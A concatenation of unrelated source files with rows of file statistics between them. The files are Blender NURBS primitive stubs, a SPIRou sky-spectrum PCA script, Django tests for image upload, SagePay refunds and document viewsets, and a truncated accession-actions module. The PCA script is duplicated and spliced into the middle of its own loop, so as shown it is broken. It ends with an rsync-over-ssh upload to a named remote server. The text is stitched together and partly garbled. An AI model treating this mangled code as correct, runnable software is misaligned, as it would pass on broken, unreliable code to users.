def primitive_nurbs_surface_circle_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Circle :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass def primitive_nurbs_surface_curve_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Curve :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass def primitive_nurbs_surface_cylinder_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Cylinder :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass def primitive_nurbs_surface_sphere_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Sphere :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass def primitive_nurbs_surface_surface_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Patch :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass def primitive_nurbs_surface_torus_add(radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0)): '''Construct a Nurbs surface Torus :param radius: Radius :type radius: float in [0, inf], (optional) :param view_align: Align to View, Align the new object to the view :type view_align: boolean, (optional) :param enter_editmode: Enter Editmode, Enter editmode when adding this object :type enter_editmode: boolean, (optional) :param location: Location, Location for the newly added object :type location: float array of 3 items in [-inf, inf], (optional) :param rotation: Rotation, Rotation for the newly added object :type rotation: float array of 3 items in [-inf, inf], (optional) ''' pass
43.801527
82
0.583479
714
5,738
4.605042
0.063025
0.036496
0.043796
0.043796
0.970803
0.970803
0.970803
0.970803
0.970803
0.970803
0
0.026521
0.329732
5,738
130
83
44.138462
0.828393
0.615545
0
0.833333
0
0
0
0
0
0
0
0
0
1
0.166667
false
0.166667
0
0
0.166667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
8ee105687320c9195fc9b40d367569105d21cca7
7,701
py
Python
spirou/sandbox/create_sky_PC.py
njcuk9999/apero-utils
f77de4c9123874e5bb6ed6bd03a7de3b27057402
[ "MIT" ]
2
2020-10-08T17:03:45.000Z
2021-03-09T17:49:44.000Z
spirou/sandbox/create_sky_PC.py
njcuk9999/apero-utils
f77de4c9123874e5bb6ed6bd03a7de3b27057402
[ "MIT" ]
17
2020-09-24T17:35:38.000Z
2020-12-11T16:10:13.000Z
spirou/sandbox/create_sky_PC.py
njcuk9999/apero-utils
f77de4c9123874e5bb6ed6bd03a7de3b27057402
[ "MIT" ]
5
2020-04-10T06:41:00.000Z
2020-12-16T21:09:14.000Z
import numpy as np from astropy.io import fits from scipy.signal import medfilt import glob import matplotlib.pyplot as plt from sklearn.decomposition import PCA from tqdm import tqdm import etienne_tools as et import os # use the master wavelength grid as a reference, all spectra are shifted back to master_wave = fits.getdata('MASTER_WAVE_SPIROU.fits') oh_lines = np.genfromtxt('list_OH_v2.0.dat') intensities = oh_lines[:,1] oh_lines = oh_lines[:,0]/1e1 oh_lines = oh_lines[intensities>1e-3*np.nanmax(intensities)] files = np.array(glob.glob('all_sky/2[3-9]*o_pp_e2dsff_AB.fits')) for i in tqdm(range(len(files))): hdr = fits.getheader(files[i]) if hdr['EXTSN035'] > 2: files[i] = '' if hdr['EXPTIME'] < 180: # at least 3 minutes of integration files[i] = '' files = files[files != ''] cube = np.zeros([49*4088,len(files)]) rms = np.zeros(len(files)) for i in tqdm(np.arange(len(files))): name_hp = '_hp.'.join(files[i].split('.')) import numpy as np from astropy.io import fits from scipy.signal import medfilt import glob import matplotlib.pyplot as plt from sklearn.decomposition import PCA from tqdm import tqdm import etienne_tools as et import os # use the master wavelength grid as a reference, all spectra are shifted back to master_wave = fits.getdata('MASTER_WAVE_SPIROU.fits') oh_lines = np.genfromtxt('list_OH_v2.0.dat') intensities = oh_lines[:, 1] oh_lines = oh_lines[:, 0] / 1e1 oh_lines = oh_lines[intensities > 1e-3 * np.nanmax(intensities)] files = np.array(glob.glob('all_sky/2[3-9]*o_pp_e2dsff_AB.fits')) for i in tqdm(range(len(files))): hdr = fits.getheader(files[i]) if hdr['EXTSN035'] > 2: files[i] = '' if hdr['EXPTIME'] < 180: # at least 3 minutes of integration files[i] = '' files = files[files != ''] cube = np.zeros([49 * 4088, len(files)]) rms = np.zeros(len(files)) for i in tqdm(np.arange(len(files))): name_hp = '_hp.'.join(files[i].split('.')) if os.path.isfile(name_hp) == False: im, hdr = fits.getdata(files[i], header=True) im = et.wave2wave(np.array(im), et.fits2wave(hdr), master_wave) for iord in range(49): if np.nanmean(master_wave[iord]) < 2000: im[iord] -= et.lowpassfilter(im[iord], width=301) else: im[iord] -= et.lowpassfilter(im[iord], width=101) fits.writeto(name_hp, im, hdr) im, hdr = fits.getdata(name_hp, header=True) cube[:, i] = im.ravel() for ite in range(2): med = np.nanmedian(cube, axis=1) for i in range(cube.shape[1]): amp = np.nansum(med * cube[:, i]) / np.nansum(med ** 2) cube[:, i] /= amp print(amp) med = np.nanmedian(cube, axis=1) rms = np.zeros(cube.shape[1]) for i in range(cube.shape[1]): rms[i] = et.sigma(cube[:, i]) keep = rms < (1.5 * np.nanmedian(rms)) cube = cube[:, keep] rms = rms[keep] files = files[keep] fits.writeto('cube1.fits', cube, overwrite=True) p1 = np.nanpercentile(cube, [16, 84], axis=1) sig = (p1[1] - p1[0]) / 2 fits.writeto('cube1b.fits', cube, overwrite=True) med[np.isfinite(med) == 0] = 0 for i in range(cube.shape[1]): bad = cube[:, i] > 5 * sig cube[bad, i] = med[bad] fits.writeto('cube1c.fits', cube, overwrite=True) med = np.nanmedian(cube, axis=1) med[np.isfinite(med) == False] = 0 p_global = 1 - np.exp(-0.5 * (np.exp(med / et.sigma(med))) ** 2) cube[np.isfinite(cube) == False] = 0 for i in np.arange(len(files)): nsig = cube[:, i] / et.sigma(cube[:, i]) nsig[np.isfinite(nsig) == False] = 0 pp = 1 - np.exp(-.5 * nsig ** 2 / 3 ** 2) # local probability p = np.ones_like(pp) p[nsig < 0] = 1 - pp[[nsig < 0]] cube[:, i] *= p cube[:, i] *= p_global for i in range(0, len(files), 5): plt.plot(master_wave.ravel(), cube[:, i], alpha=0.6) plt.plot(oh_lines, np.zeros_like(oh_lines), 'r+') plt.show() fits.writeto('cube.fits', cube, overwrite=True) cuts = [0, 1150, 1400, 1900, 9999] n_components = 9 out = np.zeros([cube.shape[0], n_components * (len(cuts) - 1) + 1]) out[:, 0] = master_wave.ravel() for ite in range(len(cuts) - 1): print(ite) band = (master_wave.ravel() > cuts[ite]) * (master_wave.ravel() < cuts[ite + 1]) cube2 = np.zeros_like(cube) cube2[band, :] = cube[band, :] pca = PCA(n_components=n_components) principalComponents = pca.fit_transform(cube2) for i in range(n_components): principalComponents[:, i] -= principalComponents[0, i] out[band, 1 + ite * n_components:1 + (ite + 1) * n_components] = principalComponents[band, :] fits.writeto('sky_PCs.fits', out, overwrite=True) if os.path.isfile(name_hp) == False: im, hdr = fits.getdata(files[i], header = True) im = et.wave2wave(np.array(im),et.fits2wave(hdr) , master_wave ) for iord in range(49): if np.nanmean(master_wave[iord])<2000: im[iord] -= et.lowpassfilter(im[iord],width = 301) else: im[iord] -= et.lowpassfilter(im[iord],width = 101) fits.writeto(name_hp, im, hdr) im, hdr = fits.getdata(name_hp, header=True) cube[:, i] = im.ravel() for ite in range(2): med = np.nanmedian(cube, axis=1) for i in range(cube.shape[1]): amp = np.nansum(med*cube[:,i])/np.nansum(med**2) cube[:,i]/=amp print(amp) med = np.nanmedian(cube,axis=1) rms = np.zeros(cube.shape[1]) for i in range(cube.shape[1]): rms[i] = et.sigma(cube[:,i]) keep = rms<(1.5*np.nanmedian(rms)) cube = cube[:,keep] rms = rms[keep] files = files[keep] fits.writeto('cube1.fits',cube,overwrite=True) p1 = np.nanpercentile(cube,[16,84],axis=1) sig = (p1[1]-p1[0])/2 fits.writeto('cube1b.fits',cube,overwrite=True) med[np.isfinite(med) == 0] = 0 for i in range(cube.shape[1]): bad = cube[:,i] > 5*sig cube[bad,i] = med[bad] fits.writeto('cube1c.fits',cube,overwrite=True) med = np.nanmedian(cube, axis =1) med[np.isfinite(med) == False] = 0 p_global = 1-np.exp(-0.5*(np.exp(med/et.sigma(med)))**2) cube[np.isfinite(cube) == False]=0 for i in np.arange(len(files)): nsig = cube[:, i] / et.sigma(cube[:, i]) nsig[np.isfinite(nsig) == False] = 0 pp = 1-np.exp(-.5 * nsig ** 2 / 3 ** 2) # local probability p = np.ones_like(pp) p[nsig<0] = 1-pp[[nsig<0]] cube[:,i]*=p cube[:,i]*=p_global for i in range(0,len(files),5): plt.plot(master_wave.ravel(),cube[:,i],alpha = 0.6) plt.plot(oh_lines,np.zeros_like(oh_lines),'r+') plt.show() fits.writeto('cube.fits',cube,overwrite=True) cuts = [0,1150,1400,1900,9999] n_components = 9 out = np.zeros( [cube.shape[0], n_components*(len(cuts)-1)+1]) out[:,0] = master_wave.ravel() for ite in range(len(cuts)-1): print(ite) band = (master_wave.ravel() > cuts[ite]) * (master_wave.ravel() < cuts[ite+1]) cube2 = np.zeros_like(cube) cube2[band,:] = cube[band,:] pca = PCA(n_components=n_components) principalComponents = pca.fit_transform(cube2) for i in range(n_components): principalComponents[:,i] -= principalComponents[0,i] out[band,1+ite*n_components:1+(ite+1)*n_components] = principalComponents[band,:] fits.writeto('sky_PCs.fits',out,overwrite = True) os.system('rsync -av -e "ssh -oPort=5822" sky_PCs.fits artigau@venus.astro.umontreal.ca:/home/artigau/www/')
29.060377
109
0.60135
1,191
7,701
3.815281
0.141058
0.022007
0.021127
0.024208
0.982394
0.982394
0.982394
0.982394
0.982394
0.982394
0
0.040336
0.227373
7,701
265
109
29.060377
0.723361
0.033892
0
0.994595
0
0.005405
0.052731
0.022195
0
0
0
0
0
1
0
false
0.021622
0.097297
0
0.097297
0.021622
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d91ec276373a00e20064c5a8187434ced6056161
3,119
py
Python
imgapp/tests.py
Thakursim/dodjapp
db1f75c1790c36cbd8b69b0388c022c98dc17708
[ "MIT" ]
null
null
null
imgapp/tests.py
Thakursim/dodjapp
db1f75c1790c36cbd8b69b0388c022c98dc17708
[ "MIT" ]
1
2020-10-26T08:41:31.000Z
2020-10-26T08:41:31.000Z
imgapp/tests.py
Thakursim/dodjapp
db1f75c1790c36cbd8b69b0388c022c98dc17708
[ "MIT" ]
1
2020-10-26T08:19:55.000Z
2020-10-26T08:19:55.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.conf import settings from django.test import TestCase from django.contrib.auth.models import User from rest_framework.authtoken.models import Token USERNAME = 'test' PASSWORD = 'testpass' # Create your tests here. class ImageUploadTestCase(TestCase): def test_upload(self): """ Positive Test Case for Image Upload """ user = User.objects.create(username=USERNAME, password=PASSWORD) api_key=Token.objects.create(user=user) token = 'Token ' + str(api_key.key) auth_headers = { 'HTTP_AUTHORIZATION': token, } path = str(settings.STATIC_ROOT) + '/tests/test_sample.jpg' with open(path) as fp: resp = self.client.post('/image/', {'image': fp}, **auth_headers) self.assertEqual(resp.status_code, 201) def test_wrong_upload(self): """ Negative Test Case for Image Upload """ user = User.objects.create(username=USERNAME, password=PASSWORD) api_key=Token.objects.create(user=user) token = 'Token ' + str(api_key.key) token += 'ds' auth_headers = { 'HTTP_AUTHORIZATION': token, } path = str(settings.STATIC_ROOT) + '/tests/test_sample.jpg' with open(path) as fp: resp = self.client.post('/image/', {'image': fp}, **auth_headers) self.assertEqual(resp.status_code, 401) def test_list_of_images(self): """ Positive Test Case for Image Upload """ user = User.objects.create(username=USERNAME, password=PASSWORD) api_key=Token.objects.create(user=user) token = 'Token ' + str(api_key.key) auth_headers = { 'HTTP_AUTHORIZATION': token, } path = str(settings.STATIC_ROOT) + '/tests/test_sample.jpg' with open(path) as fp: resp = self.client.post('/image/', {'image': fp}, **auth_headers) self.assertEqual(resp.status_code, 201) resp = self.client.get('/image/', **auth_headers) data = resp.json() self.assertEqual(resp.status_code, 200) for one_data in data: pk = one_data.get('id', None) user = one_data.get('user', None) image = one_data.get('image', None) self.assertNotEqual(pk, None) self.assertNotEqual(user, None) self.assertNotEqual(image, None) def test_deletion_of_images(self): """ Positive Test Case for Image Upload """ user = User.objects.create(username=USERNAME, password=PASSWORD) api_key=Token.objects.create(user=user) token = 'Token ' + str(api_key.key) auth_headers = { 'HTTP_AUTHORIZATION': token, } path = str(settings.STATIC_ROOT) + '/tests/test_sample.jpg' with open(path) as fp: resp = self.client.post('/image/', {'image': fp}, **auth_headers) self.assertEqual(resp.status_code, 201) resp = self.client.get('/image/', **auth_headers) data = resp.json() self.assertEqual(resp.status_code, 200) for one_data in data: pk = one_data.get('id', None) user = one_data.get('user', None) image = one_data.get('image', None) self.assertNotEqual(pk, None) self.assertNotEqual(user, None) self.assertNotEqual(image, None) url = '/image/' + str(pk) + '/' resp = self.client.delete(url, **auth_headers) self.assertEqual(resp.status_code, 204)
30.881188
68
0.695095
429
3,119
4.911422
0.188811
0.057428
0.046512
0.083056
0.822496
0.822496
0.822496
0.803512
0.803512
0.803512
0
0.008378
0.158063
3,119
100
69
31.19
0.793983
0.060917
0
0.723684
0
0
0.100659
0.030545
0
0
0
0
0.171053
1
0.052632
false
0.065789
0.065789
0
0.131579
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
d9324a4cd429b53b46f271da835ee7b032f6f979
6,017
py
Python
tests/models/test_refund.py
lejion/django-sagepaypi
86eeff5afb9681fcc820e2d75910c4e642fefe85
[ "MIT" ]
null
null
null
tests/models/test_refund.py
lejion/django-sagepaypi
86eeff5afb9681fcc820e2d75910c4e642fefe85
[ "MIT" ]
12
2019-03-06T14:27:38.000Z
2019-03-12T21:45:59.000Z
tests/models/test_refund.py
lejion/django-sagepaypi
86eeff5afb9681fcc820e2d75910c4e642fefe85
[ "MIT" ]
1
2021-01-06T12:09:42.000Z
2021-01-06T12:09:42.000Z
import mock from sagepaypi.exceptions import InvalidTransactionStatus from sagepaypi.models import Transaction from tests.mocks import created_refund_response from tests.test_case import AppTestCase class TestRefundTransaction(AppTestCase): fixtures = ['tests/fixtures/test'] def test_error__no_transaction_id(self): transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') with self.assertRaises(InvalidTransactionStatus) as e: transaction.refund() self.assertEqual( e.exception.args[0], 'transaction is missing a transaction_id' ) def test_error__not_successful(self): transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Payment' transaction.status_code = '9999' with self.assertRaises(InvalidTransactionStatus) as e: transaction.refund() self.assertEqual( e.exception.args[0], 'cannot refund an unsuccessful transaction' ) def test_error__void(self): transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Payment' transaction.status_code = '0000' transaction.instruction = 'void' with self.assertRaises(InvalidTransactionStatus) as e: transaction.refund() self.assertEqual( e.exception.args[0], 'cannot refund a void transaction' ) def test_error__deferred_not_released(self): transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Deferred' transaction.status_code = '0000' for instruction in ['', 'abort']: transaction.instruction = instruction with self.assertRaises(InvalidTransactionStatus) as e: transaction.refund() self.assertEqual( e.exception.args[0], 'cannot refund a deferred transaction that is not released' ) @mock.patch('sagepaypi.gateway.default_gateway') def test_successful_refund__payment(self, mock_gateway): mock_gateway.submit_transaction.return_value = created_refund_response() transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Payment' transaction.status_code = '0000' refund = transaction.refund() json = created_refund_response().json() # expected self.assertEqual(refund.type, 'Refund') self.assertEqual(refund.reference_transaction, transaction) self.assertEqual(refund.amount, transaction.amount) self.assertEqual(refund.description, transaction.description) self.assertEqual(refund.status_code, json['statusCode']) self.assertEqual(refund.status, json['status']) self.assertEqual(refund.status_detail, json['statusDetail']) self.assertEqual(refund.transaction_id, json['transactionId']) self.assertEqual(refund.retrieval_reference, json['retrievalReference']) self.assertEqual(refund.bank_authorisation_code, json['bankAuthorisationCode']) @mock.patch('sagepaypi.gateway.default_gateway') def test_successful_refund__with_kwargs(self, mock_gateway): mock_gateway.submit_transaction.return_value = created_refund_response() transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Payment' transaction.status_code = '0000' refund = transaction.refund(amount=50, description='refund payment', vendor_tx_code='refund-123') json = created_refund_response().json() # expected self.assertEqual(refund.type, 'Refund') self.assertEqual(refund.reference_transaction, transaction) self.assertEqual(refund.amount, 50) self.assertEqual(refund.description, 'refund payment') self.assertEqual(refund.vendor_tx_code, 'refund-123') self.assertEqual(refund.status_code, json['statusCode']) self.assertEqual(refund.status, json['status']) self.assertEqual(refund.status_detail, json['statusDetail']) self.assertEqual(refund.transaction_id, json['transactionId']) self.assertEqual(refund.retrieval_reference, json['retrievalReference']) self.assertEqual(refund.bank_authorisation_code, json['bankAuthorisationCode']) @mock.patch('sagepaypi.gateway.default_gateway') def test_successful_refund_repeat(self, mock_gateway): mock_gateway.submit_transaction.return_value = created_refund_response() transaction = Transaction.objects.get(pk='ec87ac03-7c34-472c-823b-1950da3568e6') transaction.transaction_id = 'dummy-transaction-id' transaction.type = 'Repeat' transaction.status_code = '0000' refund = transaction.refund() json = created_refund_response().json() # expected self.assertEqual(refund.type, 'Refund') self.assertEqual(refund.reference_transaction, transaction) self.assertEqual(refund.amount, transaction.amount) self.assertEqual(refund.description, transaction.description) self.assertEqual(refund.status_code, json['statusCode']) self.assertEqual(refund.status, json['status']) self.assertEqual(refund.status_detail, json['statusDetail']) self.assertEqual(refund.transaction_id, json['transactionId']) self.assertEqual(refund.retrieval_reference, json['retrievalReference']) self.assertEqual(refund.bank_authorisation_code, json['bankAuthorisationCode'])
40.655405
105
0.699019
605
6,017
6.791736
0.147107
0.127768
0.158433
0.059138
0.831833
0.821611
0.821611
0.821611
0.821611
0.821611
0
0.039851
0.199269
6,017
147
106
40.931973
0.812993
0.004321
0
0.706422
0
0
0.17371
0.06915
0
0
0
0
0.357798
1
0.06422
false
0
0.045872
0
0.12844
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d999bb47a96827bc18e5f8888d314e4cd64d87b0
8,733
py
Python
tests/test_viewsets.py
pik-software/django-documents-tools
57b3083175d2562af635f0cdde74a681248a444e
[ "BSD-3-Clause" ]
1
2019-12-07T15:51:08.000Z
2019-12-07T15:51:08.000Z
tests/test_viewsets.py
pik-software/django-documents-tools
57b3083175d2562af635f0cdde74a681248a444e
[ "BSD-3-Clause" ]
9
2019-12-06T10:53:08.000Z
2020-07-06T06:47:45.000Z
tests/test_viewsets.py
pik-software/django-documents-tools
57b3083175d2562af635f0cdde74a681248a444e
[ "BSD-3-Clause" ]
null
null
null
from unittest import mock import pytest from django.test import override_settings from django_documents_tools.api.viewsets import ( get_change_viewset, get_snapshot_viewset, get_change_attachment_viewset, BaseChangeViewSet, BaseSnapshotViewSet, BaseChangeAttachmentViewSet) from tests.viewsets import ( BookViewSet, CustomBookChangeViewSet, CustomBookSnapshotViewSet, CustomBookChangeAttachmentViewSet) UNKNOWN_VIEWSET_PATH = 'tests.viewsets.UnknownBookViewSet' class TestGetChangeViewSet: setting_name = 'BASE_CHANGE_VIEWSET' custom_viewset_path = 'tests.viewsets.CustomBookChangeViewSet' expected_error_msg = ( 'UnknownBookViewSet must be subclass of BaseChangeViewSet') @staticmethod def test_get_default(): book_change_viewset = get_change_viewset(BookViewSet) assert issubclass(book_change_viewset, BaseChangeViewSet) assert book_change_viewset.allow_history is True assert book_change_viewset.select_related_fields == ('book', 'author') assert book_change_viewset.lookup_field == 'uid' assert book_change_viewset.lookup_url_kwarg == 'guid' def test_get_custom(self): custom_settings = { self.setting_name: self.custom_viewset_path } with override_settings(DOCUMENTS_TOOLS=custom_settings): book_change_viewset = get_change_viewset(BookViewSet) assert issubclass(book_change_viewset, CustomBookChangeViewSet) assert book_change_viewset.allow_history is True assert book_change_viewset.select_related_fields == ('book', 'author') assert book_change_viewset.lookup_field == 'uid' assert book_change_viewset.lookup_url_kwarg == 'guid' assert book_change_viewset.prefetch_related_fields == ['test'] def test_get_unknown(self): custom_settings = { self.setting_name: UNKNOWN_VIEWSET_PATH } with override_settings(DOCUMENTS_TOOLS=custom_settings): with pytest.raises(Exception) as exc_info: get_change_viewset(BookViewSet) assert exc_info.value.args[0] == self.expected_error_msg def test_get_for_model(self, book_change_model): with mock.patch.object( book_change_model, '_base_viewset', self.custom_viewset_path): book_change_viewset = get_change_viewset(BookViewSet) assert issubclass(book_change_viewset, CustomBookChangeViewSet) assert book_change_viewset.allow_history is True assert book_change_viewset.select_related_fields == ('book', 'author') assert book_change_viewset.lookup_field == 'uid' assert book_change_viewset.lookup_url_kwarg == 'guid' assert book_change_viewset.prefetch_related_fields == ['test'] class TestGetSnapshotViewSet: setting_name = 'BASE_SNAPSHOT_VIEWSET' custom_viewset_path = 'tests.viewsets.CustomBookSnapshotViewSet' expected_error_msg = ( 'UnknownBookViewSet must be subclass of BaseSnapshotViewSet') @staticmethod def test_get_default(): book_change_viewset = get_change_viewset(BookViewSet) book_snapshot_viewset = get_snapshot_viewset( book_change_viewset, BookViewSet) assert issubclass(book_snapshot_viewset, BaseSnapshotViewSet) assert book_snapshot_viewset.allow_history is False assert book_snapshot_viewset.select_related_fields == ( 'book', 'author') assert book_snapshot_viewset.lookup_field == 'uid' assert book_snapshot_viewset.lookup_url_kwarg == 'guid' def test_get_custom(self): custom_settings = { self.setting_name: self.custom_viewset_path } with override_settings(DOCUMENTS_TOOLS=custom_settings): book_change_viewset = get_change_viewset(BookViewSet) book_snapshot_viewset = get_snapshot_viewset( book_change_viewset, BookViewSet) assert issubclass(book_snapshot_viewset, CustomBookSnapshotViewSet) assert book_snapshot_viewset.allow_history is False assert book_snapshot_viewset.select_related_fields == ( 'book', 'author') assert book_snapshot_viewset.lookup_field == 'uid' assert book_snapshot_viewset.lookup_url_kwarg == 'guid' assert book_snapshot_viewset.prefetch_related_fields == ['test'] def test_get_unknown(self): custom_settings = { self.setting_name: UNKNOWN_VIEWSET_PATH } with override_settings(DOCUMENTS_TOOLS=custom_settings): with pytest.raises(Exception) as exc_info: book_change_viewset = get_change_viewset(BookViewSet) get_snapshot_viewset(book_change_viewset, BookViewSet) assert exc_info.value.args[0] == self.expected_error_msg def test_get_for_model(self, book_snapshot_model): with mock.patch.object( book_snapshot_model, '_base_viewset', self.custom_viewset_path): book_change_viewset = get_change_viewset(BookViewSet) book_snapshot_viewset = get_snapshot_viewset( book_change_viewset, BookViewSet) assert issubclass(book_snapshot_viewset, CustomBookSnapshotViewSet) assert book_snapshot_viewset.allow_history is False assert book_snapshot_viewset.select_related_fields == ( 'book', 'author') assert book_snapshot_viewset.lookup_field == 'uid' assert book_snapshot_viewset.lookup_url_kwarg == 'guid' assert book_snapshot_viewset.prefetch_related_fields == ['test'] class TestGetChangeAttachmentViewSet: setting_name = 'BASE_CHANGE_ATTACHMENT_VIEWSET' custom_viewset_path = 'tests.viewsets.CustomBookChangeAttachmentViewSet' expected_error_msg = ( 'UnknownBookViewSet must be subclass of BaseChangeAttachmentViewSet') @staticmethod def test_get_default(): book_change_viewset = get_change_viewset(BookViewSet) book_change_attachment_viewset = get_change_attachment_viewset( book_change_viewset) assert issubclass( book_change_attachment_viewset, BaseChangeAttachmentViewSet) assert book_change_attachment_viewset.allow_history is True assert book_change_attachment_viewset.select_related_fields == ( 'change',) assert book_change_attachment_viewset.lookup_field == 'uid' assert book_change_attachment_viewset.lookup_url_kwarg == 'guid' def test_get_custom(self): custom_settings = { self.setting_name: self.custom_viewset_path } with override_settings(DOCUMENTS_TOOLS=custom_settings): book_change_viewset = get_change_viewset(BookViewSet) book_change_attachment_viewset = get_change_attachment_viewset( book_change_viewset) assert issubclass( book_change_attachment_viewset, CustomBookChangeAttachmentViewSet) assert book_change_attachment_viewset.allow_history is True assert book_change_attachment_viewset.select_related_fields == ( 'change',) assert book_change_attachment_viewset.lookup_field == 'uid' assert book_change_attachment_viewset.lookup_url_kwarg == 'guid' assert book_change_attachment_viewset.prefetch_related_fields == [ 'test'] def test_get_unknown(self): custom_settings = { self.setting_name: UNKNOWN_VIEWSET_PATH } with override_settings(DOCUMENTS_TOOLS=custom_settings): with pytest.raises(Exception) as exc_info: book_change_viewset = get_change_viewset(BookViewSet) get_change_attachment_viewset(book_change_viewset) assert exc_info.value.args[0] == self.expected_error_msg def test_get_for_model(self, book_change_attachment_model): with mock.patch.object( book_change_attachment_model, '_base_viewset', self.custom_viewset_path): book_change_viewset = get_change_viewset(BookViewSet) book_change_attachment_viewset = get_change_attachment_viewset( book_change_viewset) assert issubclass( book_change_attachment_viewset, CustomBookChangeAttachmentViewSet) assert book_change_attachment_viewset.allow_history is True assert book_change_attachment_viewset.select_related_fields == ( 'change',) assert book_change_attachment_viewset.lookup_field == 'uid' assert book_change_attachment_viewset.lookup_url_kwarg == 'guid' assert book_change_attachment_viewset.prefetch_related_fields == [ 'test']
43.447761
78
0.720256
932
8,733
6.295064
0.085837
0.102267
0.104312
0.09204
0.870462
0.864326
0.83893
0.827339
0.791716
0.791716
0
0.000439
0.218138
8,733
200
79
43.665
0.858817
0
0
0.759036
0
0
0.070194
0.027138
0
0
0
0
0.325301
1
0.072289
false
0
0.03012
0
0.174699
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
797783df300a9800c66134d6ba1dc1ebea2b6baf
8,265
py
Python
server/accession/actions/actionbatch.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
2
2017-07-04T16:19:09.000Z
2019-08-16T04:54:47.000Z
server/accession/actions/actionbatch.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
null
null
null
server/accession/actions/actionbatch.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
1
2018-04-13T08:28:09.000Z
2018-04-13T08:28:09.000Z
# -*- coding: utf-8; -*- # # @file actionbatch # @brief collgate # @author Frédéric SCHERMA (INRA UMR1095) # @date 2018-04-18 # @copyright Copyright (c) 2018 INRA/CIRAD # @license MIT (see LICENSE file) # @details import json from django.core.exceptions import SuspiciousOperation from django.shortcuts import get_object_or_404 from django.utils.translation import ugettext_lazy as _ from accession.actions.actioncontroller import ActionController from accession.models import Action, BatchPanel, Batch from igdectk.common.helpers import int_arg from igdectk.rest import Method, Format from igdectk.rest.response import HttpResponseRest from .action import RestActionIdTodo, RestActionIdDone class RestActionIdTodoBatch(RestActionIdTodo): regex = r'^batch/$' suffix = 'batch' class RestActionIdDoneBatch(RestActionIdDone): regex = r'^batch/$' suffix = 'batch' class RestActionIdTodoBatchCount(RestActionIdTodoBatch): regex = r'^count/$' suffix = 'count' class RestActionIdDoneBatchCount(RestActionIdDoneBatch): regex = r'^count/$' suffix = 'count' @RestActionIdTodoBatchCount.def_auth_request(Method.GET, Format.JSON, perms={ 